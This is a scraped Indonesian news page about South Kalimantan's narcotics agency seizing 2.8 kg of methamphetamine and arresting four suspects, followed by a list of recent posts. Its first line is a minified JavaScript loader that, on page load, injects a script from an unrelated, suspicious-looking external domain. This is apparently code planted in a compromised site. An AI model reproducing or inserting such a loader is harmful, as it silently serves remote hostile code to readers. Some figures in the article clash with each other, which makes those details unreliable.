(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

BNNP Kalsel Amankan 2,8 Kg Sabu dari Kaltara


BANJARMASIN, Badan Narkotika Nasional Provinsi (BNNP) Kalimantan Selatan berhasil menggagalkan penyelundupan sabu seberat 2,8 kg yang dibawa dari Kalimantan Utara (Kaltara), Sabtu (9/12). Empat tersangka yang terkait kasus tersebut juga telah ditangkap!

Kepala BNNP Kalsel Brigjen Marsauli Siregar mengatakan, sabu yang mereka amankan dari para tersangka tersebut rencananya akan diedarkan di wilayah Kalsel. Namun belum sempat dilakukan, BNNP terlebih dulu telah mencokok pelaku.

“Masuk lewat jalan darat dibawa dua orang yakni , AS dan AR. Kemudian penerima di sini kita amankan atas nama RS dan WS ,” papar Marsauli saat memimpin ekspose hasil tangkapan, Minggu (10/12).

Menurut dia, barang bukti tersebut diselipkan di pintu belakang Kijang Kapsul. Pihaknya masih terus mengembangkan kasus ini, berkaitan kemungkinan keterlibatan dengan jaringan pengedar sabu lainnya.

Sebelumnya, BNNP Kalsel juga mengungkap peredaran narkoba bernilai miliaran rupiah yang dikendalikan seorang narapidana dari dalam Lembaga Pemasyarakatan (Lapas) Klas IIA Banjarmasin.

“Kami amankan tiga orang dalam jaringan besar peredaran narkoba di Kalsel ini, salah satunya warga binaan yang mendekam di Lapas Banjarmasin,” kata Kepala BNNP Kalsel Brigjen Pol Marsauli Siregar di Banjarmasin, Jumat (6/10) silam.

Dia mengatakan pengungkapan jaringan tersebut bermula dari informasi yang didapat BNNP Kalsel bahwa ada seorang narapidana yang mengendalikan peredaran narkoba cukup besar. Kemudian petugas mendapati satu nama sebagai kaki tangannya di luar lapas, yakni Ahmad Apriansyah alias Yayan (39). Yayan ditangkap anggota Bidang Pemberantasan BNNP Kalsel saat mengantarkan narkotika kepada pelanggan, Selasa 3 Maret. Petugas menyita 10 gram sabu-sabu yang dibawa Yayan.

Saat diinterogasi Yayan mengaku masih menyimpan sabu-sabu di rumahnya di Jalan Pemurus Komplek Purnama II, Kertak Hanyar, Kabupaten Banjar, sebanyak 18 paket yang masing-masing seberat 1.184 gram.

“Jika diasumsikan 1 gram sabu-sabu saat ini seharga Rp1,5 juta maka barang bukti tersebut bernilai Rp1,7 miliar,” kata Marsauli didampingi Kabid Pemberantasan AKBP Edy Saprianadi. (ammar)

Barang bukti sabu yang berhasil diamankan. Foto : ammar

Para tersangka yang terkait peredaran sabu seberat 2,8 kg diamankan oleh BNNP Kalsel. Foto : ammar


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

6 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

9 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.